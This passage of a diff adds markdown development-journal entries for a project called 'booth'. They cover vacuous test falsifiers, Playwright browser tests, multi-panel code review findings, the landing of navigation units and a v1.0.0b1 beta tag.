method is designed to go red.
|
||||
|
||||
## ⚠ AND THEN THE COLD PANEL SHOWED ONE OF THE SEVEN WAS VACUOUS ANYWAY
|
||||
|
||||
The table above is real and it was **not sufficient**. The `/heid-contract-review`
|
||||
panel (`01M351WKV666D681SSRNY7D7X6`) — three of four arms, independently —
|
||||
showed **INV-3's falsifier was vacuous**, on this contract's central promise, and
|
||||
the pass above had passed it.
|
||||
|
||||
**Why the pass missed it.** INV-3 claims *no regular expression is applied to
|
||||
author HTML*. The test name-matched the six DELETED patterns. The mutation the
|
||||
pass applied was re-declaring `_ICON_RE` — **the pattern the contract named** —
|
||||
which the name-match caught. The mutation the invariant actually forbids is a
|
||||
regex under a *new* name (`_TAIL_RE.sub(...)` in the verbatim branch), and that
|
||||
sailed through green.
|
||||
|
||||
> **The mutation has to come from the INVARIANT'S CLAIM, not from the
|
||||
> FALSIFIER'S EXAMPLE.** A pass that applies the contract's own suggested
|
||||
> mutation is testing the contract against itself, and it will agree.
|
||||
|
||||
**Then the fix had a hole too, and only a re-run found it.** The repaired test
|
||||
asserts `booth/app.py` performs exactly one regex operation. Re-running the pass
|
||||
*against the fix* showed an aliased `import re as _r` routes around the call
|
||||
check under a name it does not know — still VACUOUS. Closed with an import-shape
|
||||
assertion. **Run the pass on the repair, not only on the draft.**
|
||||
|
||||
Final state: **10/10 falsifiable**, control green, the two extra rows being the
|
||||
panel's own findings turned into falsifiers.
|
||||
|
||||
## What this is evidence for
|
||||
|
||||
U4 measured the problem (five of seven vacuous). U3 measured a pass working
|
||||
(7/7), then measured **the pass's own blind spot**, then measured the fix's
|
||||
blind spot. All three belong in the case if the vacuity-pass proposal is ever
|
||||
put to the operator as a `/heid*` skill amendment — and the second and third
|
||||
are the parts that stop it being adopted as a ritual that always passes.
|
||||
|
||||
Related: [[2026-09-22-u3-declared-embed-seam-landed]],
|
||||
[[2026-09-22-the-browser-became-a-test-surface]].
|
||||
@@ -0,0 +1,76 @@
|
||||
# The browser became a test surface, and the version bound is the foot-gun
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
U3 moved load-bearing logic out of Python and into JavaScript: which fragment
|
||||
lands at which anchor, what gets appended, and whether a `<form>` scattered down
|
||||
a report still owns the controls pointing at it. **The Python suite is blind to
|
||||
every one of those.** Shipping U3 with only payload-shape tests would have
|
||||
deleted ~10 real tests and replaced them with assertions that cannot see the
|
||||
thing the operator actually depends on.
|
||||
|
||||
So `tests/test_embed_browser.py` drives a real Chromium against a real uvicorn
|
||||
on an ephemeral port. 12 tests. It found nothing on the first run — but the
|
||||
probe that preceded it settled a design question no amount of spec-reading
|
||||
would have.
|
||||
|
||||
## The probe, and why it had controls
|
||||
|
||||
**Question:** if a control carrying `form="F"` is inserted into the DOM *before*
|
||||
`<form id="F">` exists, does it become that form's control? The HTML spec resets
|
||||
form owner on insertion and on the `form` attribute changing — it does NOT list
|
||||
"a matching form was inserted later". The U3 design inserts fragments in visual
|
||||
order, so this happens routinely.
|
||||
|
||||
Four conditions, N=3 each, in Chromium 151 headless:
|
||||
|
||||
| condition | `input.form?.id` |
|
||||
|---|---|
|
||||
| A — form inserted first (**positive control**) | `F, F, F` |
|
||||
| B — control inserted first (**the question**) | `F, F, F` |
|
||||
| C — `form="NOPE"`, no such form (**negative control**) | `null, null, null` |
|
||||
| D — remove and re-set the attribute (the proposed fix) | `F, F, F` |
|
||||
|
||||
The positive control proves the instrument can see association at all; the
|
||||
negative proves it is not manufacturing it. Without both, B's answer means
|
||||
nothing — that is the whole lesson of
|
||||
[[2026-09-22-vacuous-falsifiers]] applied before the code instead of after.
|
||||
|
||||
**The answer is: Chromium re-resolves it, so the fix is unnecessary there.**
|
||||
The fix shipped anyway. **Sensitivity floor: ONE ENGINE.** The operator's own
|
||||
browser was not measured, the failure mode is a form that looks filled in and
|
||||
POSTs a 400, and the guard is three lines. The measurement says "not needed
|
||||
here"; it does not say "not needed".
|
||||
|
||||
## The foot-gun, which bit before the tests were written
|
||||
|
||||
Browsers are **box-wide** in `/opt/ms-playwright` with
|
||||
`PLAYWRIGHT_BROWSERS_PATH` wired globally — there is no per-project
|
||||
`playwright install`. Each playwright release pins **one** Chromium revision, and
|
||||
a release wanting a revision the shared store lacks dies with:
|
||||
|
||||
Executable doesn't exist at /opt/ms-playwright/chromium_headless_shell-1243/…
|
||||
|
||||
That is not a missing-dependency error and it does not name the real problem.
|
||||
The store had 1223 / 1228 / 1234; `playwright` 1.63 wanted 1243. The mapping:
|
||||
|
||||
1.60 -> 1223 1.61 -> 1228 1.62 -> 1234 1.63 -> 1243
|
||||
|
||||
Hence `playwright>=1.60,<1.63` in `pyproject.toml`, **with the upper bound as the
|
||||
point** and the reason in a comment beside it. A bare `playwright` would break
|
||||
the suite on the next resolve, opaquely.
|
||||
|
||||
## The hermeticity trade, and how it is paid
|
||||
|
||||
A browser layer makes the suite non-hermetic — it can go red for an environment
|
||||
reason. `tests/test_embed_browser.py` therefore **skips, never fails**, when
|
||||
playwright or a usable browser is missing (`pytest.importorskip`, plus a
|
||||
`pytest.skip` on any launch failure). `pytest -q` stays green anywhere; the
|
||||
browser layer is purely additive.
|
||||
|
||||
⚠ **The failure mode of that choice: if those 12 tests start SKIPPING on this
|
||||
box, U3's placement logic is untested and the suite still says green.** If the
|
||||
count drops from 431, check the skip reason before anything else — the pinned
|
||||
bound has probably drifted past the shared store.
|
||||
|
||||
Related: [[2026-09-22-u3-declared-embed-seam-landed]].
|
||||
@@ -0,0 +1,53 @@
|
||||
# Three cold panels on one unit, and what each lens could only see alone
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
U6 ran all three `/heid*` gates plus two in-session passes. **Every one of the
|
||||
five found something the others structurally could not**, which is the
|
||||
strongest evidence this repo has for running them all rather than picking one.
|
||||
|
||||
## The scoreboard
|
||||
|
||||
| gate | when | found |
|
||||
|---|---|---|
|
||||
| **seam review** (in-session, sibling-aware) | before code | **3 real contract defects** — a claim about a sibling test that was false, `resolve_booth` named as a per-row predicate when it RAISES 404, and silence on percent-encoding |
|
||||
| **adversarial self-pass** (in-session) | during | **4 defects** — a FIFO hang, `unquote` leaking control characters, a fail-closed-by-accident guard, a stranded scratch file |
|
||||
| **`/heid-contract-review`** (4 arms) | parallel | **the import/apply selection gap, 4-of-4** — plus per-field cap semantics, and two passages of the document contradicting each other |
|
||||
| **`/heid-code-review`** (4 arms) | parallel | **3 surface-drift findings 4-of-4**, an IPv6 identity bug, and **a falsifier that could not fail** |
|
||||
| **`/heid-bug-hunt`** (4 arms) | parallel | a `<div>` inside a `<span>`, a symlink disagreement, an append outside its lock |
|
||||
|
||||
## The three findings worth remembering
|
||||
|
||||
**1. The highest-value finding was a MISSING FEATURE, and the paraphrase lens
|
||||
found it.** `bench import --apply` registered every candidate while the same
|
||||
contract said ~14 of 35 were bookmarks that must stay on the board. The dry-run
|
||||
report existed *because* the decision is not mechanizable — and then `--apply`
|
||||
ignored it. A code-vs-contract lens cannot see this: the code matched the
|
||||
contract. Only reading the contract *as prose*, for what it promises a human,
|
||||
surfaces "these two sentences cannot both be satisfied."
|
||||
|
||||
**2. A falsifier that could not fail, again.** INV-4's tie-break test went
|
||||
through the registry, and `_write_all` serializes with `sort_keys=True` — so
|
||||
both insertion orders came back off disk already id-sorted, and removing the
|
||||
tie-break left the test green. Same class as the five vacuous U4 falsifiers.
|
||||
**We ran a vacuity pass and still shipped one**; a cold reader caught it. See
|
||||
[[2026-09-22-vacuous-falsifiers]].
|
||||
|
||||
**3. The single sharpest line came from a cross-module memory no new-module
|
||||
review could have.** Three bug-hunt arms independently noted that **this repo
|
||||
had already paid for the `RecursionError` class in `marks.py`, with a test
|
||||
documenting it — and the new module re-introduced the unguarded parse.** No
|
||||
amount of reading `benches.py` in isolation surfaces that.
|
||||
|
||||
## Complementarity, measured in both directions on one diff
|
||||
|
||||
The bug-hunt panel found **three live defects the in-session pass missed** — all
|
||||
three invisible to any test (a layout nesting, a symlink disagreement, a
|
||||
lock-ordering race). The in-session pass had **already closed three of that
|
||||
panel's four convergent findings** before the reply landed. Neither substitutes
|
||||
for the other, and this round is the cleanest specimen of it so far.
|
||||
|
||||
**One finding was declined**, with reasoning recorded in the contract: on a host
|
||||
where `booth.links` cannot be imported, `booth link` now refuses every URL
|
||||
rather than only booth ones. A guard that fails open is not a guard, and that
|
||||
state is a broken install where most of the CLI is equally broken.
|
||||
@@ -0,0 +1,88 @@
|
||||
# U3 landed — the page declares the seam, the Booth mounts into it
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**Ten regular expressions against author-written HTML are gone.** Six in
|
||||
`wrap_verbatim_html` hunting for somewhere to hang a favicon and a chip, four in
|
||||
`booth/inline.py` substituting rendered ask markup into the author's own tags.
|
||||
What replaced them, in full:
|
||||
|
||||
```python
|
||||
return html if declares_embed(html) else html + EMBED_SCRIPT_TAG
|
||||
```
|
||||
|
||||
A substring test and a `+`. **Both of the old wrapper's hard constraints stopped
|
||||
existing rather than being satisfied more carefully** — nothing can displace a
|
||||
leading doctype into quirks mode and nothing can push the charset `<meta>` out
|
||||
of its first-1024-byte window, because nothing in front of them ever moves.
|
||||
|
||||
## What moved where
|
||||
|
||||
| was | is |
|
||||
|---|---|
|
||||
| `wrap_verbatim_html` + 6 regexes | `embed_verbatim` — one `in`, one `+` |
|
||||
| `booth/inline.py`, 119 lines | deleted; `form_id` survived into `app.py` |
|
||||
| `_BACK_CHIP`, `asks_chip` | built in the DOM by `embed.js` |
|
||||
| `inject_asks` | `GET /b/<name>/embed.json` + placement in `embed.js` |
|
||||
| `_ask_inline.html`'s `styles()` | the CSS lives in `embed.js` |
|
||||
| `FAVICON_LINK` string injection | `document.querySelector('link[rel~="icon"]')` |
|
||||
|
||||
**The fragments are still rendered by Jinja.** `embed.js` places what comes back
|
||||
and never builds one — a second renderer in JavaScript would be the same bug
|
||||
INV-1 exists to stop, in a new language. The payload also decides openness
|
||||
(`open_marks`) and order, so the page has no opinion about either.
|
||||
|
||||
## The thing the contract got wrong, and the seam review caught
|
||||
|
||||
The payload first keyed `questions` by question key. **A single-question pick
|
||||
normalizes to `questions: [{"key": None, …}]`** (`asks.normalize_ask`, the
|
||||
`multi: False` branch), and `json.dumps` writes that key as the string `"null"`
|
||||
— inventing a name that collides with a real key. Every one-question ask in the
|
||||
fleet would have hit it, including the live `sindra-voice-1`. `questions` is a
|
||||
LIST of `{key, html}` now; the key is nullable, and declaration order rides in
|
||||
the format instead of leaning on object-key insertion order.
|
||||
|
||||
The cold contract panel could not have found this: it is a fact about
|
||||
`booth/asks.py`, which an artifact-only reader never sees. Third time the seam
|
||||
review has caught what the cold pass structurally cannot — see
|
||||
[[2026-09-21-two-gates-are-complementary]].
|
||||
|
||||
## The live report that was already subtly broken
|
||||
|
||||
`dfa-concepts/index.html` writes `<div class="ask" data-booth-ask="dfa:logo">
|
||||
<h3>The one asset that must survive</h3>`. `_EL_RE` matched the **opening tag**
|
||||
and replaced it, so the author's `.ask` wrapper class vanished, the heading was
|
||||
orphaned and the `</div>` went stray. Nobody filed a bug, because a page that is
|
||||
95% right does not look broken.
|
||||
|
||||
`el.insertAdjacentHTML("beforeend", frag)` keeps the element and its contents
|
||||
and puts the fragment inside. Verified live in a real browser: 5 author `.ask`
|
||||
wrappers intact, 5 headings intact, 14 radios mounted inside them, zero console
|
||||
errors. **The replacement is not just less fragile, it renders the operator's
|
||||
own report more faithfully than the thing it replaced.**
|
||||
|
||||
## The cost, stated because it is real
|
||||
|
||||
The verbatim path used to work with **no JavaScript** — server-rendered ask, plain
|
||||
form POST, HTML5 `form=` binding resolved at parse time. It needs the script now.
|
||||
The operator's 2026-09-21 ruling accepts that; this entry records the consequence
|
||||
so nobody meets it as a surprise. The never-invisible guarantee survives in a
|
||||
weaker and still-true form through surfaces needing no script: the index card's
|
||||
open-mark badge, and `/b/<name>/marks`.
|
||||
|
||||
## Anchor syntax
|
||||
|
||||
`data-booth-mark` is canonical (U2 made an ask one shape of mark).
|
||||
`data-booth-ask` is a kept alias — 2 of the 4 live verbatim booths spell it that
|
||||
way, in the operator's own reports, and the alias is one clause in one selector
|
||||
string. The `<!-- booth:ask … -->` comment forms were **dropped, not ported**:
|
||||
zero users across all 21 live booths, and a page that used one falls back to the
|
||||
append path, so its ask still renders.
|
||||
|
||||
## Verification
|
||||
|
||||
431 tests (410 → 431). Live: all 21 booths 200, and each of the four verbatim
|
||||
booths grew by exactly 46 bytes — `len(EMBED_SCRIPT_TAG)`, one append, nothing
|
||||
else. Related: [[2026-09-22-the-browser-became-a-test-surface]],
|
||||
[[2026-09-22-seven-of-seven-falsifiers]],
|
||||
[[2026-09-21-regex-injecting-chrome]].
|
||||
@@ -0,0 +1,67 @@
|
||||
# U6 landed — three surfaces, three jobs, one predicate
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**The sixth of seven v1 units. Only U7 is left.** 444 → 555 tests, suite green,
|
||||
deployed and verified live: 23/23 booths 200, and the board renders **156 dead
|
||||
of 221 rows** — the exact count an independent shell measurement produced before
|
||||
a line of code was written, from two different implementations.
|
||||
|
||||
## What shipped
|
||||
|
||||
- **`booth/benches.py`** (new, stdlib-only AND sibling-free): `Bench`,
|
||||
`normalize_bench_url`, lenient `read_benches`, strict `upsert_bench`,
|
||||
`set_bench_state`, `remove_bench`, `order_benches`. Registry at
|
||||
`~/booth-data/.benches.json` — a dotfile at the DATA ROOT, keyed by id, so two
|
||||
rows with one identity are impossible by construction.
|
||||
- **`links.booth_target`** — ONE predicate for "is this a booth URL", consumed
|
||||
by three callers (the CLI refusal, the board's dead marker, `bench import`).
|
||||
Host-agnostic and path-shaped; percent-decodes the name.
|
||||
- **`booth link` refuses a booth URL**, names `booth new --why`, and writes
|
||||
nothing — not even the board directory.
|
||||
- **The board marks dead rows.** Removal stays the operator's two clicks through
|
||||
the bulk control that already existed. Nothing in the unit deletes a row.
|
||||
- **`booth bench add|ls|state|rm|import`**; `import` writes nothing without
|
||||
`--apply` and never touches `links.md`.
|
||||
- `docs/archive/links-2026-09-22.md` — the board archived verbatim into git.
|
||||
|
||||
## The decision that mattered most, and it was measured
|
||||
|
||||
**Identity is the FULL normalized URL, not the origin.** Collapsing the 43
|
||||
non-booth rows by origin gives 19 groups; by full URL, 35. The difference is not
|
||||
duplication — it is **eight distinct gitea repos merged into one**, three
|
||||
unrelated HuggingFace model cards merged into one, and **the two LRPG surfaces
|
||||
on `10.100.10.50:8321`, which are the IA doc's own example of two real benches**,
|
||||
merged into one. Origin identity destroys more than it dedups. Full-URL identity
|
||||
still collapses both cases the doc names (talk 5→1, Peedlar 3→1).
|
||||
|
||||
Query is IN the identity (three ShutterChute rows differ only by `?token=` and
|
||||
are three real links); fragment is OUT; credentials are REFUSED, not stripped.
|
||||
|
||||
## The seam review earned it again — three real contract defects
|
||||
|
||||
Run in-session against the real `.py` files, after the cold panel was dispatched:
|
||||
|
||||
- **SR-1** — the contract claimed `test_stdlib_only` already forbids sibling
|
||||
imports. **It does not**: its failure set is `{r for r in roots if r !=
|
||||
"booth" and ...}`, which exempts `booth` on purpose. Only test_manifest.py has
|
||||
the strict copy. INV-9 would have shipped untested.
|
||||
- **SR-2** — the contract named `resolve_booth` as the dead marker's existence
|
||||
check. That function is a closure inside `create_app` and **raises
|
||||
HTTPException(404)** — per row, one swept booth would 404 the whole board page.
|
||||
- **SR-7** — booth links are emitted through `quote(name, safe="")`, so a
|
||||
predicate comparing the raw segment marks every encoded-name booth dead
|
||||
forever.
|
||||
|
||||
SR-4 and SR-5 were **verified rather than assumed**: both `list_booths` and
|
||||
`sweep_once` skip a child that is not a directory AND one whose name starts with
|
||||
a dot, so the registry is safe from the sweeper by two guards, not one. Had
|
||||
either been absent the design would have eaten its own registry on tick one.
|
||||
|
||||
## How it closed
|
||||
|
||||
All three cold gates came back and were folded in full, with exactly one finding
|
||||
declined. Released as `v0.6.0` — see [[2026-09-22-u6-benches-released]] and
|
||||
[[2026-09-22-three-cold-panels-on-one-unit]]. The tag waited for the gates, per
|
||||
the v0.2.0 lesson, and that sequencing was right: the panels produced ten code
|
||||
fixes after this entry was first written.
|
||||
@@ -0,0 +1,58 @@
|
||||
# U6 released as v0.6.0 — benches, and the number that was two defects
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**The sixth of seven v1 units. Only U7 remains.** 444 → 607 tests. Tagged
|
||||
`v0.6.0` (minor, operator-approved). **NOT PUSHED** — push is his call.
|
||||
|
||||
## What shipped
|
||||
|
||||
- **`booth/benches.py`** — stdlib-only AND sibling-free. `Bench`,
|
||||
`normalize_bench_url` (the identity), a lenient `read_benches` on the render
|
||||
path and a strict `_load_strict` on the write path, `mkstemp` + `fsync` +
|
||||
`os.replace` under an flock, and `order_benches` with a stated total order
|
||||
`(state rank, name casefolded, id)`.
|
||||
- **`links.booth_target`** — ONE predicate for "is this a booth URL",
|
||||
host-agnostic, path-shaped, percent-decoding, control-character-rejecting,
|
||||
never raising. Three callers: the CLI refusal, the board's dead marker,
|
||||
`bench import`.
|
||||
- **`booth link` refuses** a booth URL (naming `booth new --why`) and a
|
||||
credentialed one, writing nothing in either case.
|
||||
- **The board marks dead rows** — 161 of 221 live. Removal stays the operator's
|
||||
two clicks through the bulk control that already existed. Nothing deletes.
|
||||
- **`booth bench add|ls|state|rm|import`**. `--apply` REQUIRES the ids.
|
||||
|
||||
## The decision that shaped the unit, and it was measured
|
||||
|
||||
**The design doc's headline "69% rot" was two defects wearing one number**, and
|
||||
splitting them is what made the unit the right size — see
|
||||
[[2026-09-22-one-number-was-two-defects]]. 178 of 221 rows are booth
|
||||
announcements (156 already dead) whose *cause* U5 had already closed; only 8 are
|
||||
the bench re-post the registry fixes. A unit scoped off the unsplit number would
|
||||
have built the registry, declared victory, and left 178 rows rotting.
|
||||
|
||||
**Identity is the FULL normalized URL, not the origin**, and that was measured
|
||||
rather than chosen: origin identity merges eight distinct gitea repositories
|
||||
into one row, three unrelated HuggingFace model cards into one, and the two LRPG
|
||||
surfaces on `10.100.10.50:8321` — *the design doc's own example of two real
|
||||
benches* — into one. It destroys more than it deduplicates.
|
||||
|
||||
**`booth link` is NOT deprecated**, against the design doc's plan. Roughly 14 of
|
||||
the 35 distinct non-booth targets are reference bookmarks (repos, model cards,
|
||||
docs) for which the board is the right and only home. Deprecating it would have
|
||||
evicted a third of its live content. The IA doc is corrected.
|
||||
|
||||
## The gates
|
||||
|
||||
All four closed, and every one paid — see
|
||||
[[2026-09-22-three-cold-panels-on-one-unit]]. Contract review
|
||||
`01M35BWCJ806MT75NA630Y4WFH`, code review `01M35CK8YKEKMV7T15JXEF6A8N`, bug hunt
|
||||
`01M35CRRK2RTVWWF1BN09AFQG3`, one consolidated reply sent to heid at
|
||||
`01M35FY8QZTB9E5VR4WXDSBGEV`.
|
||||
|
||||
## Live evidence, unplanned
|
||||
|
||||
The sweeper ran mid-session: **23 booths → 19**, and dead board rows went
|
||||
**156 → 161 in about fifteen minutes**. The defect compounding in real time
|
||||
while the fix was being built — which is the argument for U6-before-U7 playing
|
||||
out on its own.
|
||||
@@ -0,0 +1,77 @@
|
||||
# U7 landed — and the number that justified it did not reproduce
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**The last v1 unit is in.** The three ratified components landed at `a306e2d`;
|
||||
the fourth — filename-prefix groups replacing subfolder sections — landed here,
|
||||
with `test_no_group_rail_is_shipped_yet` deleted in the same commit that built
|
||||
what it guarded against. **All seven v1 capabilities are now landed.**
|
||||
|
||||
## The part worth remembering: the contract's own measurement was wrong
|
||||
|
||||
The contract stated a rule and, beside it, a table of what that rule produced.
|
||||
**They are not the same computation.** Implementing the stated rule and running
|
||||
it against the live set:
|
||||
|
||||
| booth | contract claimed | stated rule actually gives |
|
||||
|---|---|---|
|
||||
| `sindra-corpus-v1` | 16 | 16 ✓ |
|
||||
| `sindra-sfw-pool` | 10 | 10 ✓ |
|
||||
| `sindra-nude-pool` | 12 | 12 ✓ |
|
||||
| **`sindra-bakeoff`** | **5** | **24** |
|
||||
| **`sindra`** | **1 (degenerate)** | **27** |
|
||||
|
||||
Three of five matched, which is what made it survive review. The two that did
|
||||
not were **the two load-bearing rows**: bakeoff was the "this pays" evidence and
|
||||
sindra was the degenerate case INV-3 was written for.
|
||||
|
||||
**The contract contradicts itself in plain sight and nobody caught it.** Its own
|
||||
worked example says `00-sheet-c1-market-noon.png` has no trailing digit run and
|
||||
therefore groups as its whole stem — which makes eight of bakeoff's forty images
|
||||
eight singleton groups, so 5 was never reachable. And the numbers ARE
|
||||
reproducible, just not by one rule: **first-two-segments gives exactly 5 on
|
||||
bakeoff; first-segment gives exactly 1 on sindra.** The table was assembled from
|
||||
two different heuristics and written up as one.
|
||||
|
||||
⚠ **A cold contract-review panel cannot catch this, and did not.** The panel
|
||||
reads the artifact; the artifact is internally plausible. Only running the
|
||||
stated rule against the live data falsifies it. **A measurement inside a
|
||||
contract is not reviewed by reviewing the contract** — it is reviewed by
|
||||
re-running it, and that is now a thing to do before implementing any contract
|
||||
whose scope rests on a number.
|
||||
|
||||
## The degeneracy it guarded was the wrong one
|
||||
|
||||
INV-3 guarded **one group for everything** ("a rail with one entry cannot
|
||||
navigate"). The live set's actual failure is the opposite: **one group per
|
||||
item** — `pewpew-ui-brief` 23 groups for 34 items, `dfa-concepts` 13 for 20. The
|
||||
contract as written would have shipped a 23-row rail that is a second copy of
|
||||
the grid. INV-3 now guards both, with a live specimen each:
|
||||
|
||||
- **(a)** `sc-iso-spread` — `DSC0001.jpg`–`DSC0006.jpg`, one group of six.
|
||||
- **(b)** `pewpew-ui-brief` — 23 groups, 19 of them singletons.
|
||||
|
||||
The shipped predicate, one line: **two or more groups, and the middle group
|
||||
holding more than one item.** It gets all 17 booths right.
|
||||
|
||||
## The shipped rule, and why it differs
|
||||
|
||||
`strip ONE trailing run of digits` keys on the END of the stem, which is where
|
||||
the *instance number* lives — so it splits `m-c1-market-noon-9401` from
|
||||
`m-c2-rain-street-9403`, which are the same family. The shipped rule keys on the
|
||||
**first separator-delimited segment**, where the family lives, destemming only
|
||||
when the stem has no separator at all (so `ac01` → `ac`, but `v30-seed8302` and
|
||||
`v35-seed8302` stay apart — that split is the axis `muse-clothed-repro` is
|
||||
about).
|
||||
|
||||
Live result: `sindra-corpus-v1` renders `ac 12 · bu 10 · cu 12 · fb 12 · … ·
|
||||
wu 8` over 66 images. `sindra-bakeoff` renders `00 · README · m · r`, which are
|
||||
its three real families.
|
||||
|
||||
## Also true, and easy to trip on
|
||||
|
||||
**`miranda-is` and `sindra-voice-1` group beautifully and get no rail** — both
|
||||
carry `index.html`, so they take the verbatim path and have no grid at all. A
|
||||
measurement taken with `booth_items` alone predicts a rail for them; the route
|
||||
does not. Measure the RENDERED surface, not the resolver, when the question is
|
||||
"what will the operator see".
|
||||
@@ -0,0 +1,70 @@
|
||||
# U7 re-measured before scoping — sections are dead, filename prefixes are not
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**Pre-work, not the unit.** The standing instruction is "re-count the booths
|
||||
before scoping U7". Done, on the live set (19 booths). No U7 code, no U7
|
||||
contract — this exists so the scope call is a thirty-second read.
|
||||
|
||||
## The set as it actually is
|
||||
|
||||
| booth | items | images | subdirs | shape |
|
||||
|---|---|---|---|---|
|
||||
| `miranda-is` | 92 | 0 | 0 | report |
|
||||
| `sindra-bakeoff` | 81 | 40 | **0** | gallery |
|
||||
| `sindra-corpus-v1` | 66 | 66 | **0** | gallery |
|
||||
| `sindra` | 61 | 30 | **0** | gallery |
|
||||
| `sindra-sfw-pool` | 59 | 59 | **0** | gallery |
|
||||
| `sindra-nude-pool` | 42 | 42 | **0** | gallery |
|
||||
| `pewpew-ui-brief` | 34 | 1 | 7 | **report** |
|
||||
| `dfa-concepts` | 21 | 14 | 1 | **report** |
|
||||
| …11 more | ≤19 | | 0 | |
|
||||
|
||||
## Finding 1 — sections are worth ZERO, and this is now measured twice
|
||||
|
||||
**Not one gallery booth has a subdirectory.** Zero of eleven. The only two
|
||||
booths with subfolders are both **reports**, the job where grid navigation
|
||||
matters least, and `pewpew-ui-brief`'s seven subdirs hold one image.
|
||||
|
||||
The IA doc calls sections "most of the navigation fix". On this set they are
|
||||
none of it. Cutting `Item.section` rendering from U7 costs nothing measurable.
|
||||
(`Item.section` already exists from U1 and stays — this is about whether U7
|
||||
builds a section RAIL, not about deleting a field.)
|
||||
|
||||
## Finding 2 — the grouping signal is in the FILENAME, and it pays
|
||||
|
||||
Tested two heuristics against every large gallery. Strip a trailing digit-run
|
||||
from the stem and group on what remains:
|
||||
|
||||
| booth | images | groups | verdict |
|
||||
|---|---|---|---|
|
||||
| `sindra-corpus-v1` | 66 | **16** | useful |
|
||||
| `sindra-nude-pool` | 42 | **12** | useful |
|
||||
| `sindra-sfw-pool` | 59 | **10** | useful |
|
||||
| `sindra-bakeoff` | 40 | **5** | useful |
|
||||
| `sindra` | 30 | **1** | **degenerates** |
|
||||
|
||||
Specimens: `00-sheet-c1-market-noon.png`, `ac01.png`, `a01.png`,
|
||||
`flag-rear.png`. The competing heuristic — split on the second hyphen — is
|
||||
useless everywhere (59 "groups" from 59 files).
|
||||
|
||||
So a prefix heuristic pays on **4 of 5** large galleries and collapses to one
|
||||
group on the fifth. **That is a filter/grouping affordance, not a section
|
||||
rail**, and it must degrade gracefully to "one group" rather than render a
|
||||
useless single-section rail.
|
||||
|
||||
## What this implies for the scope, stated as a recommendation not a decision
|
||||
|
||||
U7 as written is four things: sections, a sticky rail, filters, grid keyboard.
|
||||
The measurement says **drop sections, keep the other three**, and consider
|
||||
prefix-grouping as the thing sections were supposed to be — with a stated
|
||||
degenerate case.
|
||||
|
||||
⚠ The sizing case has also changed: the unit was scoped against 270-item
|
||||
booths and **the largest gallery is now 81 items / 40 images**. Everything
|
||||
about virtualization stays parked ([[2026-09-21-ia-and-v1-gate-landed]] names
|
||||
it); at 66 images a lazy grid is fine and measuring it first is the rule.
|
||||
|
||||
**The booth set churned again during this session** — `sindra-sfw-pool` (59
|
||||
images) appeared and the `pancake-*` set went. Re-count again before writing
|
||||
the contract; do not trust this table either.
|
||||
@@ -0,0 +1,56 @@
|
||||
# U7 is three-quarters built and blocked on one word
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**The last v1 unit, decomposed by what the operator has already ratified versus
|
||||
what he has not.** ROADMAP's U7 row names four components. Three were already
|
||||
approved there and are **built, tested and deployed** (`a306e2d`). The fourth is
|
||||
a scope departure and is **deliberately not built**.
|
||||
|
||||
| component | ROADMAP | state |
|
||||
|---|---|---|
|
||||
| sticky rail | ratified | **landed** — totals + per-filter counts |
|
||||
| filters | ratified | **landed** — all / flagged / annotated / unanswered |
|
||||
| grid keyboard | ratified | **landed** — `←/→ f n Enter Esc`, bound only when a grid exists |
|
||||
| **sections → filename groups** | **departs** | **NOT BUILT** |
|
||||
|
||||
`tests/test_navigation.py::test_no_group_rail_is_shipped_yet` fails the moment
|
||||
somebody builds the group rail anyway, so the departure cannot arrive by
|
||||
accident while the ruling is outstanding.
|
||||
|
||||
## The question, and why it is his
|
||||
|
||||
**Drop subfolder sections for filename-prefix groups — yes or no?**
|
||||
|
||||
Measured (see [[2026-09-22-u7-remeasured-before-scoping]]): **zero of eleven
|
||||
gallery booths have a subdirectory**, so sections buy nothing; stripping a
|
||||
trailing digit-run from the stem yields **5–16 sensible groups on four of the
|
||||
five large galleries** and degenerates to one group on the fifth. The
|
||||
replacement is better on the evidence — but swapping a ratified component for
|
||||
an unratified one is scope direction, not implementation.
|
||||
|
||||
Contract at `docs/contracts/u7_navigation.contract.md`, status
|
||||
`PARTIALLY LANDED`, with the departure named as the operator's call.
|
||||
|
||||
## Decisions taken under stated assumption, both cheap to reverse
|
||||
|
||||
- **`unanswered` means HAS AN OPEN PICK** — the U4 hold predicate, which already
|
||||
exists. The other reading ("has no mark at all") is a genuinely different
|
||||
question and stays an open question on the contract.
|
||||
- **Filters are LINKS, not scripts**, resolved server-side, so the gallery keeps
|
||||
working with JavaScript off. U3 cost the verbatim path its no-JS operation and
|
||||
said so plainly; the gallery is the surface the operator actually reviews on,
|
||||
and this unit does not repeat it there.
|
||||
|
||||
## The vacuous falsifier, written an hour after the entry about them
|
||||
|
||||
`test_filtering_never_reorders` compared each filtered view against the
|
||||
**unfiltered response** — so a mutation reversing the order reversed both sides
|
||||
and it **stayed green under the exact change it forbade.** Caught only by
|
||||
running the mutation rather than trusting the assertion.
|
||||
|
||||
Rewritten against an independent truth: U1 INV-3 says the order IS `sorted(rel)`,
|
||||
so each view must be sorted, full stop, with no reference to another response.
|
||||
Re-verified RED. **Every new falsifier in this session was mutation-checked
|
||||
after this**, and that is the practice to keep — see
|
||||
[[2026-09-22-vacuous-falsifiers]].
|
||||
+72
@@ -0,0 +1,72 @@
|
||||
# v1.0.0b1 — the v1 target staged as a beta, and a version that was two copies
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**All seven v1 units landed, so the operator cut `1.0.0b1`** — the first release
|
||||
of the 1.x train, deliberately a BETA rather than a final. Tag `v1.0.0b1`,
|
||||
annotated (milestone), commit `3126dec`.
|
||||
|
||||
**The beta is the right vehicle and not a hedge.** The canonical policy defines
|
||||
`-beta.N` as feature-complete, external testing, no new features, focus on bugs
|
||||
— which is exactly this state, with a cross-frontier bug-hunt panel outstanding
|
||||
on U7's diff. This repo already paid for the alternative once:
|
||||
[[2026-09-21-v020-tagged-with-a-gate-in-flight]] — v0.2.0 was tagged AND
|
||||
announced while a panel was in flight, the panel found three defects in the
|
||||
just-released code, and v0.2.1 shipped within the hour. **A beta is the designed
|
||||
answer to that, not a workaround for it.**
|
||||
|
